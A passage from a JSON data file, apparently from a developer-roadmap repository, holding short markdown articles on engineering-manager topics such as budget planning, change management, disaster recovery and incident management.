    "content": "# Board presentations\n\nEngineering Managers handle board presentations as a means to communicate company's technical strategies and progress. Main responsibility includes providing a comprehensive yet easy-to-understand technical synopsis to the board members who might not be tech-savvy. It involves striking a balance between technical specifics and high-level overviews.\n\nA common challenge is simplifying the technical language without losing substance. Using clear visualization tools and analogies can help in making complex concepts more digestible. Not being able to communicate effectively may lead to misunderstandings or underestimation of the team's efforts and milestones.\n\nSuccess requires not just technical skills but also a mastery of effective communication. Being ready to answer challenging questions and providing follow-up documents for further reading shows preparedness and understanding of the topics at hand."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/brown-bags@S8-nwYKlG7YHL2dWwR303.md",
    "content": "# Brown Bags\n\nAn Engineering Manager can utilize Brown Bags as a relaxed, voluntary form of knowledge transfer among the team. It's mainly their job to set the agenda and faciliate these informal sessions, leveraging them to encourage team members to share information and learnings.\n\nThey face the challenge of ensuring relevant content is being shared, while maintaining an atmosphere where people are comfortable speaking. They navigate this by fostering a culture of open communication and inclusion within the team, where questions and discussions are encouraged.\n\nSuccess in conducting Brown Bags requires excellent communication skills, the ability to facilitate productive discussions, and the wisdom to ensure that the sessions are worthwhile. This enhances cross pollination of ideas and helps to build an environment of trust and continuous learning."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/budget-planning@oqjr26B27SHSYVQ4IFnA1.md",
    "content": "# Budget Planning\n\nThe role of an engineering manager extends beyond engineering tasks to include budget planning. Their duties include creating and overseeing the financial plan for their team. They need to estimate costs and ensure spending stays within set limits.\n\nThis aspect often introduces challenges - it's tricky to balance the optimal resource allocation, project expenses and salary provisions. Yet, successful managers navigate this by being forward-thinking, data-driven and having consistent communication with team members and finance departments.\n\nTo lead in this area, an engineering manager should hone skills in risk management, forecasting, and analysis. They need to understand and predict the financial impact of decisions, providing strategic input that ensures the department runs smoothly and cost-efficiently."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/budget-requests@pLUOU2AmAJ9aJAmIlVD7D.md",
    "content": "# Budget requests\n\nAs an Engineering Manager, handling budget requests is more than just numbers. It’s about demonstrating the value of engineering efforts in clear business terms to executives. Here, their role is to justify the request by showing how the budget aligns with the team's goals and the company's strategic objectives. They often face the challenge of explaining technical necessities in a business-friendly language.\n\nEngineering Managers need to quantify the team's needs - such as manpower, equipment, or resources - without overstuffing the budget. They should be skilled in translating the cost of these aspects into potential business benefits like improved efficiency or quality.\n\nCrucially, the Engineering Manager should complement the budget request with a risk-assessment to anticipate potential obstacles. This shows foresight and an understanding of the business landscape, something executive teams appreciate."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/build-vs-buy-evaluation@H0aav5qKDNiNegJOGP2rx.md",
    "content": "# Build vs Buy Evaluation\n\nAn Engineering Manager navigates the \"Build vs Buy\" decision with precision. Their main responsibility is to analyze the benefits and drawbacks of developing in-house versus purchasing premade solutions. They must weigh up factors including cost, time, quality, and alignment with their company's long-term goals.\n\nChallenges arise from needing to balance immediate needs with future scalability. This requires a careful understanding of available resources and potential growth. They mitigate this by keeping up-to-date with market trends and technology advancements that could affect their strategy.\n\nA crucial skill for this area is financial and technical acumen, combined with foresight. Engineering Managers must ask critical questions about the total cost of ownership for both options, whether the company has the capable expertise, and whether the solution is future-proof."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/business-case-development@vhOHvfF_lfQrrOK6sGLTY.md",
    "content": "# Business Case Development\n\nAn Engineering Manager often takes on the responsibility of Business Case Development. This means they analyze and present possible outcomes of a project or decision. It's essential for them to understand the business side, not only the technical side.\n\nWhile it can be challenging, a proper business case helps guide investments. The manager must address all crucial aspects: costs, benefits, risks, and timelines. They need to present compelling reasons to take on a project to stakeholders.\n\nTo succeed, they need excellent analytical and communication skills. Understanding how decisions impact their team and business is paramount. They should also be able to clearly explain their findings to both technical and non-technical stakeholders."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/business-continuity@FwK-B7jRbBXVnuY9JxI1w.md",
    "content": "# Emergency Staffing\n\nEmergency staffing refers to the process of quickly securing and deploying personnel to address unexpected and critical situations that disrupt normal operations. This involves identifying skill gaps, finding available resources (either internal or external), and rapidly onboarding them to mitigate the impact of the emergency and restore stability. The goal is to minimize disruption and maintain essential functions during a crisis.\n\nVisit the following resources to learn more:\n\n- [@article@Five Components of Effective Emergency Staffing Solutions](https://www.atriumglobal.com/resources/effective-emergency-staffing-solutions/)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/business-continuity@v6N7BH0B55gX0oNXb55D7.md",
    "content": "# Business continuity\n\nAn Engineering Manager plays a fundamental role in establishing and maintaining business continuity. Their key responsibilities include forming strategies to ensure continuous service delivery and minimize downtime during unforeseen circumstances. They are heavily involved in the creation and maintenance of disaster recovery plans, as well as testing their effectiveness.\n\nChallenges faced could be situations like system failures, natural disasters, cyber-attacks etc. Addressing these requires effective risk analysis, strategic decision-making and coordination with other teams. Successful risk mitigation calls for vigilant monitoring of systems and prompt action during contingencies.\n\nThus, apart from strong technical understanding, effective communication, foresight, and quick decision-making abilities are essential skills for an Engineering Manager to ensure business continuity. The ultimate goal is to safeguard the company's technologies and services from substantial operational interruptions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/career-development-planning@fhFSR_N4ZDTHINEinubHG.md",
    "content": "# Career Development Planning\n\nAs an Engineering Manager, supporting your team's career development is critical. This requires aligning individual growth with the organization's goals and the team's skill requirements. It's not just about discussing job roles and future positions, but also about fostering long-term learning and professional growth.\n\nChallenges here include finding a balance between the team's current workload and their development needs. Effective managers will work closely with each team member, understanding their career aspirations and identifying the projects, training, and resources needed for them to reach their goals.\n\nThis requires strong communication skills, empathy, and commitment to the team's development. An effective manager must be able to guide their team and ensure they are growing in their careers while simultaneously meeting the company's goals. This not only fuels employees' motivation and satisfaction but also positively impacts the overall team performance."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/change-management@tt02qGHSn4fPbpboZ1Ni_.md",
    "content": "# Change management\n\nEngineering Managers play a significant role in change management. They are responsible for implementing new processes and technologies while ensuring minimal disruption. One of the challenges they face is managing the human side of change. This involves addressing employee fears and resistance to avoid a drop in productivity.\n\nTo successfully navigate change, Engineering Managers should use their keen understanding of the organization and its dynamics. They need to balance speed of implementation with the need for buy-in from all stakeholders. This takes strong communication skills, empathy, and effective planning.\n\nIn all, change management is vital in an engineering team. It allows them to adapt to new situations, keep up with industry trends, and continually improve their processes and outcomes. The Engineering Manager's skill in this area is key to the team’s success and resilience."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/change-strategy@1__zRE1iu1FDX9ynpWSBS.md",
    "content": "# Change strategy\n\nAn Engineering Manager plays a vital role in developing and deploying organizational change strategies. They need to clearly define the vision, set realistic objectives, devise a detailed roadmap for change, and regularly update the team. Proper communication is vital to manage any fears or doubts among team members.\n\nIn this regard, skills required vary from strategic thinking to effective communication and empathy. It's not just about the technical aspects but understanding the human side of change. It is essential to identify the potential impacts of the change and prepare teams accordingly.\n\nThe challenge lies in balancing the pace of change and dealing with resistance. Successful managers often tackle this by ensuring inclusivity in strategy development, open dialogues, and continuous support throughout the transition process."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/cicd-implementation@gAEmpSMvNyjmTa5q9oZSg.md",
    "content": "# CI/CD Implementation\n\nWorking with CI/CD implementation, an Engineering Manager ensures fast and efficient production cycles. Key responsibilities include setting up, administering, and optimizing CI/CD pipelines. They oversee the integration of code changes and automate deployment, enabling a streamlined, error-reduced, and faster delivery of software builds.\n\nChallenges they may face include pipeline failure, software bugs, and collaboration issues among team members. To address them, an Engineering Manager employs advanced debugging, clear communication, and proactive guidance.\n\nSuccess in this area requires not only solid technical skills but also a strategic mindset. It requires the Manager to grasp the team's workflow deeply and coordinate each step right from integration to delivery. This approach guarantees a smooth and effective CI/CD process, which underscores overall team performance and output."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/code-review-best-practices@40yK6XzI8lSxdiAXxtF75.md",
    "content": "# Code Review Best Practices\n\nAn Engineering Manager has the responsibility to guide their team on code review best practices. They not only need to ensure the team is delivering quality code, but also that the process is efficient and educative. This involves creating a culture where constructive feedback is welcomed, and where discussing and learning about the codebase is a part of the daily routine.\n\nChallenges could include conflicts among team members, varying levels of coding skills, or different understandings of code standards. To tackle these, the manager might need to step in and mediate discussions, offer training, or even set up some basic coding standards.\n\nA successful Engineering Manager in this realm balances technical competency with strong communication and diplomatic skills, fostering a team environment where high quality code is a shared achievement."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/communication-planning@Mxi4g_PzT0oYc3NgR0UVg.md",
    "content": "# Communication planning\n\nAn Engineering Manager is pivotal in communication planning during organizational changes. His key tasks are to ensure timely and clear communication to prevent confusion and keep the team committed. They keep a balance between providing too much detail that would overwhelm and too little that might result in anxiety and fear.\n\nThe manager can face issues like hesitance from teams to change or rumors spreading due to unclear messages. To mitigate these, he needs to create an effective communication plan, ensuring that it is proactive and on-going, so the team remains informed about the changes.\n\nLastly, having strong leadership and communication skills will enable the Engineering Manager to successfully guide their team through the change. Also, empathy and patience are needed, as change can be stressful and it takes time for people to adjust."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/company-culture@KA0y6KdVTjJFeX3frHUNo.md",
    "content": "# Company Culture\n\nAn Engineering Manager plays a vital role in shaping and fostering the company culture. It's their task to ensure the culture aligns with the company's values and promotes a positive working environment. Healthy company culture can contribute to higher employee satisfaction, improved productivity, and lower turnover rates.\n\nThe main challenge in this respect is to maintain compatibility between the existing culture and the rapid technological changes. The Engineering Manager should lead by example and reinforce the desired attitudes and behavior.\n\nTo make this effective, strong communication and interpersonal skills are a prerequisite. An Engineering Manager should, therefore, be approachable, transparent, and solicit feedback to continuously improve the work environment and uphold a vibrant company culture."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/competitive-analysis@76GjwwEYaEX_kh02OSpdr.md",
    "content": "# Competitive Analysis\n\nAn Engineering Manager uses competitive analysis for strategic thinking in various ways. They use it to understand the strengths and weaknesses of their own team and products compared to their competitors. This helps them pinpoint areas for improvement and innovation. Also, it guides them in making decisions about resource allocation, project prioritization, and technology choices.\n\nTheir key responsibility in this area is to ensure the team stays abreast of industry trends. They must create a strong competitive stance in the areas they are lagging. They face challenges when there's limited information about the competition or rapid changes in the market landscape.\n\nTo succeed, Engineering Managers need good analytical and research skills. They should have the ability to use different tools and methods for gathering and analyzing data. They also need strong decision-making ability to interpret findings and create action plans based on them."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/competitive-analysis@TQY4hjo56rDdlbzjs_-nl.md",
    "content": "# Competitive Analysis\n\nAn Engineering Manager uses competitive analysis to understand market trends and competitor strategies. This aids in decision-making and strategic planning. Their key responsibilities include identifying key competitors, analyzing their products, sales, and marketing strategies.\n\nChallenges may arise from having incomplete or inaccurate data. In these cases, Engineering Managers have to rely on their judgement and experience. Their analysis should be unbiased and as accurate as possible to influence the right design and development strategies.\n\nSuccessful competitive analysis requires strong analytical skills, keen attention to detail, and the ability to understand complex market dynamics. Managers must stay updated on market trend, technological advancements and be able to distinguish their company's unique selling proposition. This will allow them to plan steps to maintain competitiveness in the market."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/conflict-resolution@QA5CR5f0geC_RQc_SOK-N.md",
    "content": "# Conflict Resolution\n\nAn Engineering Manager often faces conflicts, be it between team members, different projects, or resources. Effective Conflict Resolution is key to keeping the team harmonious and productive. This involves the ability to assess the situation accurately, allowing for all parties involved to voice their concerns and finding a solution that works for all.\n\nIt’s part of the Engineering Manager's responsibilities to maintain a healthy team dynamic, shielding the team from distractions and helping them work together effectively. A key challenge here is balancing the needs and interests of individuals with the goals of the team and the wider organization.\n\nTo succeed, Engineering Managers need strong communication skills, empathy, and problem-solving ability. An open, positive attitude and focus on win-win solutions can help diffuse tensions and foster cooperation instead of competition."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/contingency-planning@2RwpGPegD2GyiiV6SVbbM.md",
    "content": "# Contingency planning\n\nAn Engineering Manager's role in Contingency Planning is essential for effective Risk Mitigation. They have to identify potential issues that could disrupt projects and develop back-up strategies to manage these risks. These could range from resources availability to unplanned absences of team members, among other things.\n\nA significant challenge they might encounter is foreseeing all potential risks, as some may be unpredictable. Hence, their planning should be as flexible as possible. Regularly updating the contingency plan, learning from past mistakes and near misses, and being adaptable are vital to handle these challenges.\n\nTo succeed, Engineering Managers require strong analytical skills to evaluate the potential impact of risks accurately. Also, effective communication skills are necessary for steering the team towards the implemented contingency plan when needed."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/contingency-planning@mIUx8zAHWyPWPGvxuTK4y.md",
    "content": "# Burnout Prevention\n\nBurnout prevention focuses on strategies and practices aimed at minimizing and mitigating the risk of employees experiencing burnout, a state of emotional, physical, and mental exhaustion caused by prolonged or excessive stress. It involves creating a supportive work environment, promoting healthy work-life balance, and equipping individuals and teams with the tools and resources needed to manage stress effectively and maintain their well-being.\n\nVisit the following resources to learn more:\n\n- [@article@Preventing Burnout: A Guide to Protecting Your Well-Being](https://www.psychiatry.org/news-room/apa-blogs/preventing-burnout-protecting-your-well-being)\n- [@article@Beating Burnout](https://hbr.org/2016/11/beating-burnout)\n- [@video@How to Avoid Burnout](https://www.youtube.com/watch?v=smjGAcyqDnk)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/cost-optimization@rbhZJZtRV1ZZ5QaYW77ry.md",
    "content": "# Cost Optimization\n\nAs an Engineering Manager, cost optimization plays a crucial role in financial management. They have to balance budget constraints with project goals, making smart decisions about resource allocation to ensure maximum efficiency. This includes optimizing software licenses, cloud services, hardware, and labor costs. Careful planning and monitoring is necessary to avoid cost overrun.\n\nChallenges in cost optimization can stem from unexpected expenses, like an unforeseen technical problem. Managers can tackle this by proactively identifying risk factors and establishing contingency plans. Regular reviews of expenditure can also help in spotting any anomalies quickly.\n\nTo succeed in this aspect, Engineering Managers need good analytical skills and an understanding of cost structures. They should be capable of making cost-benefit analyses, assessing ROI, and applying these insights in strategic decision-making. It's about spending smart, not just spending less."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/cross-department-collaboration@Hb_rZe4k37Rr0enSh7woV.md",
    "content": "# Cross-department collaboration\n\nCross-department collaboration is crucial for an Engineering Manager. They are responsible for coordinating with teams outside their department to align goals, synchronize work, and facilitate project completion. This requires well-honed communication skills, efficient leadership tactics, and effective collaboration strategies.\n\nChallenges may arise due to departmental silos, different priorities or workflow disparities. To address these issues, the Engineering Manager should promote open dialogue, ensure mutual understanding of shared objectives, and create clear workflows.\n\nTo excel in cross-department collaboration, a holistic understanding of the entire business is needed. The ability to advocate for the needs of the Engineering Team while understanding the requirements of other departments creates a balanced approach that aids in achieving the organizational objectives."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/cross-functional-collaboration@ZyNbSBd8plAZ5lt5OEUYu.md",
    "content": "# Cross-functional Collaboration\n\nOne key responsibility of Engineering Managers is to establish clear communication across organisational functions, as they often have greater context and understanding of high-level processes. The job of establishing working cross-functional collaboration often includes defining areas of responsibility, formalising the communication streams, aligning goals, and resolving conflicts between teams.\n\nOne of the common symptoms of poor cross-functional collaboration is when team members are blocked by other teams. To tackle this, teams need a culture of open communication and trust that surfaces problems as early as possible. After problem is identified at a team level, Engineering Manager steps in and collaborates with other managers to improve the situation or escalate it to higher levels when necessary.\n\nEffective cross-functional collaboration establishes clearer expectations from all organisation functions and improves predictability of all participants.\n\nAs an example of tooling for cross-functional collaboration, teams can have publicly available Service Level Agreements (SLAs) or well-documented external communication processes. These tools help external teams set clearer expectations when working with the team, reducing ambiguity and friction."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/culture-evolution@y7YHIz7OI4sNfC_nhfLcu.md",
    "content": "# Culture evolution\n\nEngineering Managers play a crucial role in culture evolution during team changes. Their key responsibilities fall within communication, fostering an environment of transparency, addressing concerns, and leveraging changes to strengthen the team’s values and spirit.\n\nNavigating cultural shifts can be challenging. Engineering Managers often address this by keeping regular check-ins, encouraging open discussions, and instilling trust in their team’s agility to adapt. They act as the ‘change agents,' driving the cultural transition smoothly to avoid unexpected disruptions.\n\nTo succeed in advancing a team’s culture, an Engineering Manager needs strong interpersonal skills and a positive outlook. Striking a balance between maintaining existing positive aspects of culture, while infusing new elements that align with the change, is crucial. This approach helps create a dynamic, evolving, yet stable environment for the team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/customer-feedback-integration@QEViLNgG4Uv9Q9PWig0u3.md",
    "content": "# Customer feedback integration\n\nEngineering Managers shoulder a crucial responsibility while integrating customer feedback. This usually means working closely with design and development teams to incorporate customers' inputs into the product. The key to success here is maintaining a keen solicitude for the end-users' experience and needs.\n\nAmidst the technical jargon and coding diagrams, it's all too easy to lose sight of the user. Therefore, good Engineering Managers ensure that the customer's perspective is never lost. They build systems to meticulously collect and analyze customer feedback and then transform it into tangible product improvement plans.\n\nChallenges include aligning customer needs with technical limitations and resources. Effective Engineering Managers prioritise feedback based on its potential impact and feasibility, translate it into technical requirements for their team, and implement it seamlessly without disrupting the user's experience. This process requires a fine balance of technical understanding, project management skills, and an empathetic approach towards customers."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/customer-success-alignment@A-Aa7VdDAYfaMUZD_cWwP.md",
    "content": "# Customer success alignment\n\nAn Engineering Manager’s involvement in customer success alignment is crucial. They ensure that the engineering team aligns with the customer’s needs and expectations. Key responsibilities include collaborating with the customer success team, understanding customer requirements, and making sure the engineering team is on the same page.\n\nChallenges arise when there's a disconnect between what customers want and what the engineering team is set to deliver. But addressing them requires clear communication and strong problem-solving skills. Frequent interactions with the customer success team can foster the understanding necessary to prevent these issues.\n\nOverall, succeeding in this area requires excellent interpersonal skills. It's also crucial for Engineering Managers to have good technical understanding to relate customer needs to engineering tasks effectively. This ensures that the end product deepens customer satisfaction and leads to continuous business growth."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/decision-records@dTjp_rEl1ITZjvELqVtfv.md",
    "content": "# Decision records\n\nAn Engineering Manager plays a crucial role in preserving decision records. These records serve as valuable historical documents, they encapsulate reasons behind significant decisions made in projects. An Engineering Manager's key responsibilities include ensuring decision records are kept up to date, comprehensible and easily accessible.\n\nChallenges the manager may face can stem from inconsistent documentation or low prioritization of record keeping. To tackle these issues, they must foster a culture that values accuracy and promptness in documentation.\n\nSuccess in this aspect requires a consistent methodology and communication skills. Managers should introduce standard formats for decision records and promote their routine use. They need to guide their teams on the importance of records not just for looking back but for future project strategy as well."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/defining-and-enforcing-values@ZuZuzwy-Frsn_PFJZVuAQ.md",
    "content": "# Defining and Enforcing Values\n\nAn Engineering Manager plays a critical role in defining and enforcing the values of the team they lead. They're responsible for setting the tone for a culture where these values are understood and practiced by all members. They will often work hand-in-hand with HR and leadership to craft a set of values that align with the broader organization's vision and purpose.\n\nEnforcing these values, however, can present a challenge. Managers will have to practice diplomacy and employ good judgment to ensure that the values are not just stated but also integrated into the work life. This could involve training, communication, and in some cases, conflict resolution.\n\nTo succeed in this area, Engineering Managers need strong communication skills, a fair bit of wisdom, and a dedication to consistency. They must be able to articulate the importance of these values and why they matter to the team's work and to the wider business."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/delegation@bx2SMhR58ud45se5dK7qS.md",
    "content": "# Delegation\n\nAn Engineering Manager handles delegation by assigning tasks and responsibilities to team members based on their skill levels, strengths, and project needs. They must constantly balance the need to complete tasks efficiently against the need for team development. They face the challenge of assigning right-sized tasks that promote growth without overwhelming their team.\n\nKey responsibilities in this area include discerning which tasks to delegate and to whom, and then clearly communicating expectations. Good delegation also involves tracking progress, providing support, and stepping in when necessary.\n\nSuccess in delegation requires strong communication skills, trust building, and talent recognition abilities. Also, the Engineering Manager must be risk-tolerant. They need to embrace that mistakes might occur and turn them into learning opportunities."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/dependency-management@hH-UDVFlgKoMJcI1ssDFv.md",
    "content": "# Dependency management\n\nDependency management plays a crucial role in an Engineering Manager's life. They need to understand and manage the dependencies between various tasks in a project. This includes determining what needs to be done first, what tasks depend on others, and what can be done in parallel. This is vital to keep projects on schedule and prevent bottlenecks.\n\nEngineering Managers face the challenge of juggling multiple dependencies at once, in a dynamic environment where priorities can shift rapidly. They use project management tools and methodologies, like Agile or Scrum, to visualize dependencies and manage them effectively. Regular communication with the team and other stakeholders also help to clarify dependencies and make adjustments as needed.\n\nTo excel in this field, Engineering Managers need to be highly organized and detail-oriented. They also need strong problem-solving skills to navigate challenges and keep projects moving smoothly."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/development--release-workflow@bpJPDbifPwS4ScOoATlEI.md",
    "content": "# Development / Release Workflow\n\nEngineering managers are crucial to structuring Development/Release Workflow within a quality and process framework. With the end goal of managing and improving the software quality, they shape and guide the workflow.\n\nTheir key duties involve creating a seamless process from development to release that can be easily understood and used by all team members. They must balance the need for rigorous testing and quality assurance with delivering on schedule to avoid costly delays.\n\nChallenges include ensuring that all workflow steps are followed and troubleshooting any issues that arise. Success in this role requires a strong understanding of software development, attention to detail, excellent time management skills, and the capability to handle unforeseen obstacles with grace."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/disaster-recovery@KOTzJ8e7mc0wmF46vrj3I.md",
    "content": "# Disaster recovery\n\nAn Engineering Manager plays a critical role in disaster recovery planning and execution. They ensure that a robust strategy is in place to minimize the impact of mishaps on the engineering operations, such as hardware failure or data loss.\n\nOne key responsibility is to train the team to handle emergencies, ensure backup systems are operational, and validate the recovery plan regularly. The staggering challenges posed by potential system failure or data breaches demand a preemptive approach and systematic planning.\n\nSucceeding in this aspect requires an understanding of system architecture and good knowledge on backup technologies. Communication skills are also vital to keep the team prepared and coordinated in case of a disaster. Hence, an Engineering Manager must be proactive and strategic in being ready for any disastrous situation."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/disaster-recovery@nnoVA8W70hrNDxN3XQCVL.md",
    "content": "# Critical Situation Leadership\n\nLeading a team through a critical situation involves guiding them effectively when facing unexpected challenges, high-pressure scenarios, or significant disruptions. This requires clear communication, decisive action, and a focus on maintaining team morale and productivity while navigating uncertainty and resolving the crisis at hand. It's about providing stability and direction when things are most volatile.\n\nVisit the following resources to learn more:\n\n- [@article@How to Lead Through a Crisis](https://www.ccl.org/articles/leading-effectively-articles/how-to-lead-through-a-crisis/)\n- [@article@Lead how they need: adopting a situational leadership style](https://www.atlassian.com/blog/teamwork/situational-leadership)\n- [@video@Situational Leadership Model Explained](https://www.youtube.com/watch?v=pykuvuA-QFU)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/em-vs-tech-lead-vs-ic@oKbeLp4YB8rI1Q3vi0EnG.md",
    "content": "# EM vs Tech Lead vs IC\n\nAn Engineering Manager (EM), Technical Lead, and Individual Contributor (IC) play vital roles in tech teams. However, their responsibilities and focus areas differ. The EM prioritizes team management including hiring, team dynamics, facilitating communication, and ensuring deliverables. They often steer clear of day-to-day coding to focus on strategic matters. On the other hand, a Tech Lead leads by example. They are usually hands-on with coding and make key technical decisions. ICs, or team members, are skilled engineers who actively work on the product and are led by the Tech Lead and EM.\n\nThe challenge for an EM here lies in balancing management duties with keeping a technical edge. A good EM acknowledges these differences, collaborates effectively, and ensures smooth operation of the team while fostering an environment conducive to growth and learning."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/emergency-protocols@Xaeb67Nqdi0kwvehQUYeJ.md",
    "content": "# Emergency protocols\n\nAn Engineering Manager plays a crucial role in creating and enforcing emergency protocols during incident responses. This involves planning and implementing strategies to minimize downtime and maintain system integrity. As a part of their key responsibilities, they are required to ensure the team responds swiftly, efficiently, and calmly in emergency situations. This often involves staff training, simulations, and debriefings.\n\nEngineering Managers often face the challenge of ensuring efficient communication during a crisis. They address this by implementing clear communication channels and protocols. They also work to maintain a balance between rapid response and thorough analysis.\n\nTo succeed in managing emergency protocols, the Engineering Manager needs excellent crisis management skills and a calm demeanor. An efficient approach would involve regular protocol reviews, consistent training and maintaining up-to-date backups for critical system components."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/emotional-intelligence@h7gEQNbGiabDA1q1Bk_IB.md",
    "content": "# Emotional Intelligence\n\nEmotional intelligence is crucial for an Engineering Manager. It helps them understand team dynamics, enhances communication, and strengthens relationships. Their main responsibilities include recognizing team members' emotions, gauging their reactions appropriately, and managing their responses effectively.\n\nEngineering Managers often face challenges in dealing with various personalities within a team. By applying emotional intelligence, they can navigate these difficulties, resolve conflicts, and maintain a positive working environment. Their challenge is to balance their own emotions while addressing those of their team.\n\nSuccess in this aspect requires strong listening skills, empathy, and patience. Engineering Managers also need to continuously improve their emotional intelligence through self-reflection and seeking feedback. This helps them foster a team environment where everyone is understood and valued.\n\nVisit the following resources to learn more:\n\n- [@video@Daniel Goleman on the different kinds of empathy](https://www.youtube.com/watch?v=WdDVvLEKoc8)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/executive-summaries@CHothgVl8ulFthwS7uKqK.md",
    "content": "# Executive summaries\n\nAs an Engineering Manager, producing clear and helpful executive summaries is key. This type of communication gives a quick brief to leadership about the engineering team's progress and challenges. Crucial points should be distilled into easily digestible information, free of technical jargon that might cause confusion.\n\nAddressing this responsibility demands an in-depth understanding of both the projects at hand and the priorities of the executives. The manager must identify and deliver the information most relevant to decision-makers.\n\nChallenges include ensuring clarity without losing important details and keeping the summary concise yet comprehensive. To overcome these, the manager must practice effective summarization and gain feedback from receivers. This way, the manager is constantly refining their communication approach, making sure it meets the audience's needs."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/external-collaboration@Jctp5tPCK_vY35_bh7QFk.md",
    "content": "# External collaboration\n\nThe role of an Engineering Manager extends to external collaboration as well. Here, they often serve the role of liaising with external teams, vendors, or partners, aligning goals and ensuring smooth communication flow. The key responsibilities include managing relationships, understanding the partner ecosystem, and negotiating win-win situations.\n\nEngineering Managers face challenges like cultural differences, communication hurdles, or time zone disparities. They address these by building reliability through regular updates, clear agendas, and understanding each other's work culture.\n\nTo succeed, Engineering Managers need good interpersonal skills, a keen eye for future opportunities, and the ability to adapt quickly. An understanding of business and sales, alongside engineering knowledge, can be advantageous too. This role needs balance - drive details when necessary and step back and delegate when appropriate."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/feature-prioritization@2QwMcO27H3ygtLlWVplxr.md",
    "content": "# Feature prioritization\n\nAs an Engineering Manager, they play a crucial role in feature prioritization. Their key responsibility is to balance the demands of the customers with the resources of their engineering team. Gleaning insights from customer feedback, market trends, and competitor analysis, they guide the team to focus on what's crucial for the business.\n\nChallenges faced by Engineering Managers in feature prioritization include time and resource constraints. They tackle these issues by adopting smart resourcing practices and clear-cut project management methodologies.\n\nFlourishing in feature prioritization requires excellent decision-making skills and adept stakeholder management. It's about understanding customer needs, foreseeing benefits of potential features, and skilled negotiation with the project team to achieve the best outcome for the company."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/feedback-delivery@Az9GgkLFoat2t_sYRUBv5.md",
    "content": "# Feedback Delivery\n\nAn Engineering Manager plays a vital role in delivering feedback. Constructive feedback reinforces positive behaviors and corrects any missteps, effectively enhancing team dynamics. This leadership responsibility could include making sure the team is aware of their strengths, areas for improvement, and creating a balanced dialogue that encourages growth.\n\nHowever, the challenge lies in presenting criticism without discouraging creativity and innovation. Engineering Managers can address this by framing feedback in a positive manner, and focusing on specific actions instead of attacking personal traits.\n\nLearning to deliver feedback effectively encompasses a suite of skills like empathy, patience, and communication. Applying these skills enables an Engineering Manager to build a culture that supports learning, continual improvement, and ultimately robust product development."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/hiring-and-recruitment@3na5mBIPl5f6mjEzkgD_C.md",
    "content": "# Hiring and Recruitment\n\nRecruiting the right talent is a vital task for an Engineering Manager. It is their responsibility to understand the skill gaps in their teams and identify potential individuals who can fill those gaps. The challenge here is finding the right balance between technical skills and cultural fit.\n\nTo succeed, the manager must have a clear understanding of the company's needs and the projects ahead. They must also know what qualities to look for in candidates. So, they must work closely with HR and use their technical expertise to create effective job descriptions and conduct interviews.\n\nAddressing these duties effectively would ensure that the engineering team is well-equipped with the necessary skills and maintains a healthy, productive work environment."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/impact-assessment@oGmtkOGVgA4huGJqkBEfj.md",
    "content": "# Impact assessment\n\nAn Engineering Manager's role in 'Impact Assessment' during 'Organizational Change' involves assessing the potential risks and effects of proposed changes on their team and the larger organization. They need to foresee potential negative impacts and devise strategies to mitigate them to maintain the team's productivity and morale.\n\nEngineering Managers are responsible for communicating these assessments to their teams and addressing any concerns. They must clearly express the necessity of the changes, the benefits, and how it could influence team and individual work. They should also layout planned measures to offset possible negative effects.\n\nDoing successful impact assessments requires analytical skills, logical thinking, and excellent communication. Managers must gather and analyze data, predict possible outcomes, understand their team's strengths and weaknesses, and efficiently communicate the assessment results."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/incident-management@o1xPrfg8iNWQpD12xsbQJ.md",
    "content": "# Incident Management\n\nBeing an Engineering Manager entails managing unexpected issues, and a key part of this is incident management. Duties include setting up clear protocols for identifying, responding to, and documenting incidents. They ensure all team members know their individual roles and tasks in these processes. A challenging aspect is tackling critical incidents without disrupting regular workflow.\n\nTo turn these challenges into success, the Manager must show a blend of technical acumen and excellent communication skills. They need to create an environment where all team members feel comfortable bringing up problems early. Being responsive, open, and calm under pressure is imperative.\n\nIncident management is a notable area in the quality and process domain for an Engineering Manager. It is vital to maintain efficiency and make sure that every incident becomes a learning opportunity. It's about building a failure-resilient team able to tackle any unexpected issue."
  },
  {
